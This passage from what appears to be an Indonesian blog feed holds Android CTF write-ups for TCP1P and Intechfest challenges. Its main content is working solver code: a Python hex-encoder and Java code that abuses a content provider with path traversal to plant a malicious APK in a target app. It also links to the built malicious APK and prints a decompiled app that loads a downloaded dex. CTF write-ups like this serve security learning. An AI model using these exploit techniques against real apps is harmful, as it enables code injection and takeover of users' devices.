kembali hexnya ke dalam binary dan kemudian menulisnya ke dalam file <code>mal.apk</code>, berikut ini python scriptnya:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">convert</span>(<span class="params">filepath, output_hex, part_size=<span class="number">5000</span></span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(filepath, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> inputfile:</span><br><span class="line">            dex_content = inputfile.read()</span><br><span class="line"></span><br><span class="line">        hex_content = dex_content.<span class="built_in">hex</span>()</span><br><span class="line">        hex_parts = [hex_content[i:i + part_size] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(hex_content), part_size)]</span><br><span class="line"></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(output_hex, <span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> java_file:</span><br><span class="line">            <span class="keyword">for</span> index, part <span class="keyword">in</span> <span class="built_in">enumerate</span>(hex_parts, <span class="number">1</span>):</span><br><span class="line">                java_file.write(<span class="string">f&#x27;String hexContentPart<span class="subst">&#123;index&#125;</span> = &quot;<span class="subst">&#123;part&#125;</span>&quot;;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">            concatenation = <span class="string">&quot; + &quot;</span>.join([<span class="string">f&quot;hexContentPart<span class="subst">&#123;i&#125;</span>&quot;</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="built_in">len</span>(hex_parts) + <span class="number">1</span>)])</span><br><span class="line">            java_file.write(<span class="string">f&#x27;\nString fullHexContent = <span class="subst">&#123;concatenation&#125;</span>;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Successfully generated code in <span class="subst">&#123;output_hex&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Error: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) != <span class="number">3</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Usage: python <span class="subst">&#123;sys.argv[<span class="number">0</span>]&#125;</span> &lt;input_binary&gt; &lt;output_hex&gt;&quot;</span>)</span><br><span class="line">    sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">inputfile = sys.argv[<span class="number">1</span>]  </span><br><span class="line">java_file = sys.argv[<span class="number">2</span>] </span><br><span class="line">convert(inputfile, java_file)</span><br></pre></td></tr></table></figure></div><p>Terus tinggal paste hasil dari script diatas ke dalam solver untuk write file <code>mal.apk</code> ini:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">startIntentAPK</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Intent</span> <span class="variable">writeIntent</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Intent</span>(<span class="string">&quot;android.intent.action.SEND&quot;</span>);</span><br><span class="line">    writeIntent.setClassName(<span class="string">&quot;com.aimardcr.pwdmanager&quot;</span>, <span class="string">&quot;com.aimardcr.pwdmanager.CalculatorActivity&quot;</span>);</span><br><span class="line">    writeIntent.putExtra(<span class="string">&quot;operator&quot;</span>, <span class="string">&#x27;/&#x27;</span>);</span><br><span class="line">    writeIntent.putExtra(<span class="string">&quot;right&quot;</span>, <span class="number">0</span>);</span><br><span class="line">    writeIntent.setData(Uri.parse(<span class="string">&quot;content://com.aimardcr.pwdmanager/%2E%2E/files/mal.apk&quot;</span>));</span><br><span class="line">    writeIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);</span><br><span class="line"></span><br><span class="line">    startActivityForResult(writeIntent, <span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onActivityResult</span><span class="params">(<span class="type">int</span> requestCode, <span class="type">int</span> resultCode, <span class="meta">@Nullable</span> Intent data)</span> &#123;</span><br><span class="line">    <span class="built_in">super</span>.onActivityResult(requestCode, resultCode, data);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="type">Uri</span> <span class="variable">uri</span> <span class="operator">=</span> data.getData();</span><br><span class="line">        <span class="keyword">if</span> (uri != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (requestCode == <span class="number">2</span> &amp;&amp; resultCode == RESULT_OK) &#123;</span><br><span class="line">                Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;Writing malicious APK to: &quot;</span> + uri);</span><br><span class="line">                writeMaliciousAPK(uri);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;No URI received.&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;Intent data is null.&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writeMaliciousAPK</span><span class="params">(Uri uri)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="comment">// Example hex string representing the APK content</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">hexContentPart1</span> <span class="operator">=</span> <span class="string">&quot;504b03040a0000000000...&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">hexContentPart2</span> <span class="operator">=</span> <span class="string">&quot;00000000000000000000...&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">fullHexContent</span> <span class="operator">=</span> hexContentPart1 + hexContentPart2;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// Convert hex to byte array</span></span><br><span class="line">        <span class="type">byte</span>[] apkBytes = hexStringToByteArray(fullHexContent);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Optionally write to the original URI as well</span></span><br><span class="line">        <span class="type">ContentResolver</span> <span class="variable">contentResolver</span> <span class="operator">=</span> <span class="built_in">this</span>.getContentResolver();</span><br><span class="line">        <span class="type">OutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> contentResolver.openOutputStream(uri);</span><br><span class="line">        <span class="keyword">if</span> (outputStream != <span class="literal">null</span>) &#123;</span><br><span class="line">            outputStream.write(apkBytes);</span><br><span class="line">            outputStream.close();</span><br><span class="line">            Log.d(<span class="string">&quot;: LOG - Malicious :&quot;</span>, <span class="string">&quot;Binary APK written to the provided URI&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Berikut ini repository untuk full solver dari challenge ini: </p><ul><li>Repo untuk melakukan write file <code>pwds.yml</code> dan <code>mal.apk</code>: <a class="link"   href="https://github.com/lawbyte/ctf-writeups/tree/main/2024/tcp1p/mobile/Password%20Manager%202.0/Write%20YAML%20and%20APK" >write-files<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>.</li><li>Repo untuk membuat <code>mal.apk</code> yang mengimplementasikan <code>ScriptEngineFactory</code>: <a class="link"   href="https://github.com/lawbyte/ctf-writeups/tree/main/2024/tcp1p/mobile/Password%20Manager%202.0/mal" >malicious-apk<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>.</li></ul><p>Dan berikut ini adalah build dari kedua repo diatas:</p><ul><li><a class="link"   href="https://github.com/lawbyte/ctf-writeups/raw/refs/heads/main/2024/tcp1p/mobile/Password%20Manager%202.0/Write%20YAML%20and%20APK.apk" >Write YAML and APK.apk<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li><a class="link"   href="https://github.com/lawbyte/ctf-writeups/raw/refs/heads/main/2024/tcp1p/mobile/Password%20Manager%202.0/mal.apk" >mal.apk<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul><h1 id="Interfaces"><a href="#Interfaces" class="headerlink" title="Interfaces"></a>Interfaces</h1><h2 id="Overview-1"><a href="#Overview-1" class="headerlink" title="Overview"></a>Overview</h2><h2 id="Description-1"><a href="#Description-1" class="headerlink" title="Description"></a>Description</h2><h2 id="Analysis-1"><a href="#Analysis-1" class="headerlink" title="Analysis"></a>Analysis</h2><h2 id="Exploitation-1"><a href="#Exploitation-1" class="headerlink" title="Exploitation"></a>Exploitation</h2><h1 id="LookDown"><a href="#LookDown" class="headerlink" title="LookDown"></a>LookDown</h1><h2 id="Overview-2"><a href="#Overview-2" class="headerlink" title="Overview"></a>Overview</h2><h2 id="Description-2"><a href="#Description-2" class="headerlink" title="Description"></a>Description</h2><h2 id="Analysis-2"><a href="#Analysis-2" class="headerlink" title="Analysis"></a>Analysis</h2><h2 id="Exploitation-2"><a href="#Exploitation-2" class="headerlink" title="Exploitation"></a>Exploitation</h2><h1 id="LookUp"><a href="#LookUp" class="headerlink" title="LookUp"></a>LookUp</h1><h2 id="Overview-3"><a href="#Overview-3" class="headerlink" title="Overview"></a>Overview</h2><h2 id="Description-3"><a href="#Description-3" class="headerlink" title="Description"></a>Description</h2><h2 id="Analysis-3"><a href="#Analysis-3" class="headerlink" title="Analysis"></a>Analysis</h2><h2 id="Exploitation-3"><a href="#Exploitation-3" class="headerlink" title="Exploitation"></a>Exploitation</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Team: MAGER &amp;#x2F; Vantage Point Security&lt;br&gt;Rank: 5&amp;#x2F;1110&lt;/p&gt;
&lt;p&gt;&lt;img  
                     lazyload
                     src=&quot;/ima</summary>
      
    
    
    
    <category term="tcp1p 2024" scheme="https://lbyte.id/categories/tcp1p-2024/"/>
    
    
    <category term="mobile" scheme="https://lbyte.id/tags/mobile/"/>
    
    <category term="intent" scheme="https://lbyte.id/tags/intent/"/>
    
    <category term="ctf" scheme="https://lbyte.id/tags/ctf/"/>
    
    <category term="jadx" scheme="https://lbyte.id/tags/jadx/"/>
    
    <category term="android" scheme="https://lbyte.id/tags/android/"/>
    
    <category term="java" scheme="https://lbyte.id/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>TCP1P 2023: Mobile Writeup</title>
    <link href="https://lbyte.id/2023/10/15/writeup/TCP1P%202023:%20Mobile%20Writeup/"/>
    <id>https://lbyte.id/2023/10/15/writeup/TCP1P%202023:%20Mobile%20Writeup/</id>
    <published>2023-10-15T17:39:41.000Z</published>
    <updated>2026-05-06T07:20:33.564Z</updated>
    
    <content type="html"><![CDATA[<p>Check my writeup on this challenge below:<br><a class="link"   href="https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-mobile-tcp1p-ctf/" >https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-mobile-tcp1p-ctf/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><iframe src="https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-mobile-tcp1p-ctf/" style="width: 100%; height: 500px; border: none;"></iframe>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Check my writeup on this challenge below:&lt;br&gt;&lt;a class=&quot;link&quot;   href=&quot;https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-m</summary>
      
    
    
    
    <category term="tcp1p 2023" scheme="https://lbyte.id/categories/tcp1p-2023/"/>
    
    
    <category term="mobile" scheme="https://lbyte.id/tags/mobile/"/>
    
    <category term="intent" scheme="https://lbyte.id/tags/intent/"/>
    
    <category term="ctf" scheme="https://lbyte.id/tags/ctf/"/>
    
    <category term="jadx" scheme="https://lbyte.id/tags/jadx/"/>
    
    <category term="android" scheme="https://lbyte.id/tags/android/"/>
    
    <category term="java" scheme="https://lbyte.id/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>intechfest 2023: Notes Manager Challenge - CXMAP</title>
    <link href="https://lbyte.id/2023/10/15/writeup/intechfest%202023:%20Notes%20Manager%20Challenge%20-%20CXMAP/"/>
    <id>https://lbyte.id/2023/10/15/writeup/intechfest%202023:%20Notes%20Manager%20Challenge%20-%20CXMAP/</id>
    <published>2023-10-15T17:27:46.000Z</published>
    <updated>2026-05-06T07:20:33.564Z</updated>
    
    <content type="html"><![CDATA[<p>Check my walkthrough video on this challenge below:<br><a class="link"   href="https://www.facebook.com/lawbytee/videos/1328446641202923" >https://www.facebook.com/lawbytee/videos/1328446641202923<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; max-width: 100%; height: auto;">    <iframe src="https://www.facebook.com/plugins/video.php?height=314&href=https%3A%2F%2Fwww.facebook.com%2Flawbytee%2Fvideos%2F1328446641202923%2F&show_text=false&width=560&t=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%;" frameborder="0" allowfullscreen></iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Check my walkthrough video on this challenge below:&lt;br&gt;&lt;a class=&quot;link&quot;   href=&quot;https://www.facebook.com/lawbytee/videos/1328446641202923&quot;</summary>
      
    
    
    
    <category term="intechfest 2023" scheme="https://lbyte.id/categories/intechfest-2023/"/>
    
    
    <category term="mobile" scheme="https://lbyte.id/tags/mobile/"/>
    
    <category term="intent" scheme="https://lbyte.id/tags/intent/"/>
    
    <category term="ctf" scheme="https://lbyte.id/tags/ctf/"/>
    
    <category term="jadx" scheme="https://lbyte.id/tags/jadx/"/>
    
    <category term="android" scheme="https://lbyte.id/tags/android/"/>
    
    <category term="java" scheme="https://lbyte.id/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>TCP1P 2023: Internals</title>
    <link href="https://lbyte.id/2023/09/15/writeup/TCP1P%202023:%20Internals/"/>
    <id>https://lbyte.id/2023/09/15/writeup/TCP1P%202023:%20Internals/</id>
    <published>2023-09-15T00:00:00.000Z</published>
    <updated>2026-05-06T07:20:33.564Z</updated>
    
    <content type="html"><![CDATA[<p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SJeb33cZT.png"                                     ></p><p>Author: <a class="link"   href="https://github.com/aimardcr" >aimardcr<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>Seperti yang sudah ada dideskripsi challenge nya, untuk menyelesaikan challenge ini kita perlu untuk membuat malicious&#x2F;exploit aplikasi sendiri yang dimana nanti akan diinstall di Virtual Android Device dari TCP1P.</p><p>Sebelum kita membuat malicious code atau exploitnya, penting bagi kita untuk memahami aplikasi internals ini secara mendalam. Langkah pertama yang krusial adalah menganalisis aplikasi tersebut dengan menggunakan tools decompiler. <a class="link"   href="https://en.wikipedia.org/wiki/Decompiler" >Decompiler<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> ini memungkinkan kita untuk membuka aplikasi “challenge” menjadi source code yang dapat kita baca dan pahami. Saya pribadi menggunakan tools decompiler dari <a class="link"   href="https://github.com/skylot/jadx" >jadx<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> untuk melakukan ini.</p><p>Cara menggunakan jadx:</p><ol><li>Buka exe dari jadx yang sudah didownload, dan akan menampilkan seperti gambar berikut ini.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/By8BJpc-T.png"                                     ></li><li>Kita klik tombol <code>Open file</code> dan kemudian cari .apk challenge yang sudah didownload oleh teman teman.</li><li>Setelah itu jadx akan menalisis nya dan mendecompile apk tersebut agar dapat kita baca, beriku ini hasil decompile dari jadx.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/rJtoyp5-p.png"                                     ></li><li>Cari nama package dari aplikasi challenge terlebih dahulu, untuk mengetahui nama package dari aplikasi ini adalah dengan melihat code dari file <code>AndroidManifest.xml</code> terlebih dahulu, yang didapatkan dari isi dari <code>Resources -&gt; AndroidManifest.xml</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/S1lLxT5Z6.png"                                     ></li><li>Buka file <code>AndroidManifest.xml</code> nya dan cari kata <code>MainActivity</code>, karena biasanya developer android menggunakan <code>MainActivity</code> sebagai class utama dari aplikasi mereka.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SkvkW65-6.png"                                     ></li><li>Dalam contoh kasus ini nama package dari aplikasi ini adalah <code>com.kuro.internals</code>.</li><li>Setelah mendapatkan nama package dari aplikasi nya, kita bisa melihat source code dari aplikasinya lewat jadx yang ada pada <code>Source code -&gt; [nama package dari aplikasi]</code> contohnya <code>Source Code -&gt; com.kuro.internals</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/Hkz87acba.png"                                     ></li></ol><h2 id="Internals"><a href="#Internals" class="headerlink" title="Internals"></a>Internals</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SyX66yjba.png"                                     ></p><p>Link aplikasi: <a class="link"   href="https://github.com/TCP1P/TCP1P-CTF-2023-Challenges/raw/main/Mobile/Internals/src/challenge.apk" >challenge.apk<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>Diberikan challenge dengan nama <code>Internals</code> dengan deskripsi sebagai berikut:</p><p>Let’s see how well your knowledge about android internals.<br>Using any type of external library will deduct your points by half.</p><p>Hint :</p><ol><li>You do know android is open source right? Then it’s time to read the source code! Especially on getPackageName.</li><li>Do some OSINT on the author’s repositories, maybe you’ll find an interesting project.</li></ol><p>Dari deskripsi yang diberikan terlihat kita dichallenge oleh pembuat soal terkait knowledge kita tentang andoir internals, dan pembuat soal juga melarang kita untuk menggunakan library external untuk melakukan exploit nya, kalaupun kita menggunakan library external kita akan mendapatkan pengurangan point.</p><p>Sekarang coba kita install dan buka terlebih dahulu aplikasi challenge ini dan melihat bagaimana tampilan nya.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/B1CAva5b6.png"                                     ></p><p>Terlihat aplikasi ini meminta url yang akan mendownload <code>payload.dex</code> dan akan meload dex nya.</p><h2 id="Static-analys"><a href="#Static-analys" class="headerlink" title="Static analys"></a>Static analys</h2><p>Oke setelah membaca deskripsi dan isi aplikasi dari soal kita perlu untuk melihat terlebih dahulu source code dari aplikasi <code>internals</code> ini, dan didpatkan satu activity yaitu <code>MainActivity</code> saja:<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/HJ-dQTcZ6.png"                                     ><br>Dengan isi dari activitynya sebagai berikut:</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.internals;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.app.ProgressDialog;</span><br><span class="line"><span class="keyword">import</span> android.content.DialogInterface;</span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.os.Handler;</span><br><span class="line"><span class="keyword">import</span> android.os.Looper;</span><br><span class="line"><span class="keyword">import</span> android.view.View;</span><br><span class="line"><span class="keyword">import</span> android.widget.Button;</span><br><span class="line"><span class="keyword">import</span> android.widget.EditText;</span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AlertDialog;</span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"><span class="keyword">import</span> dalvik.system.DexClassLoader;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.OutputStream;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.ExecutorService;</span><br><span class="line"><span class="keyword">import</span> java.util.concurrent.Executors;</span><br><span class="line"><span class="keyword">import</span> okhttp3.Call;</span><br><span class="line"><span class="keyword">import</span> okhttp3.Callback;</span><br><span class="line"><span class="keyword">import</span> okhttp3.OkHttpClient;</span><br><span class="line"><span class="keyword">import</span> okhttp3.Request;</span><br><span class="line"><span class="keyword">import</span> okhttp3.Response;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* loaded from: classes3.dex */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line">    Button btn_load;</span><br><span class="line">    EditText input_url;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* JADX INFO: Access modifiers changed from: protected */</span></span><br><span class="line">    <span class="meta">@Override</span> <span class="comment">// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        <span class="built_in">this</span>.input_url = (EditText) findViewById(R.id.input_url);</span><br><span class="line">        <span class="type">Button</span> <span class="variable">button</span> <span class="operator">=</span> (Button) findViewById(R.id.btn_load);</span><br><span class="line">        <span class="built_in">this</span>.btn_load = button;</span><br><span class="line">        button.setOnClickListener(<span class="keyword">new</span> <span class="title class_">View</span>.OnClickListener() &#123; <span class="comment">// from class: com.kuro.internals.MainActivity.1</span></span><br><span class="line">            <span class="meta">@Override</span> <span class="comment">// android.view.View.OnClickListener</span></span><br><span class="line">            <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onClick</span><span class="params">(View v)</span> &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> MainActivity.<span class="built_in">this</span>.input_url.getText().toString();</span><br><span class="line">                <span class="keyword">if</span> (url.isEmpty()) &#123;</span><br><span class="line">                    AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(MainActivity.<span class="built_in">this</span>);</span><br><span class="line">                    builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">                    builder.setMessage(<span class="string">&quot;URL cannot be empty!&quot;</span>);</span><br><span class="line">                    builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                    builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                    builder.show();</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                MainActivity.<span class="built_in">this</span>.downloadDex(url);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">downloadDex</span><span class="params">(String url)</span> &#123;</span><br><span class="line">        <span class="type">ProgressDialog</span> <span 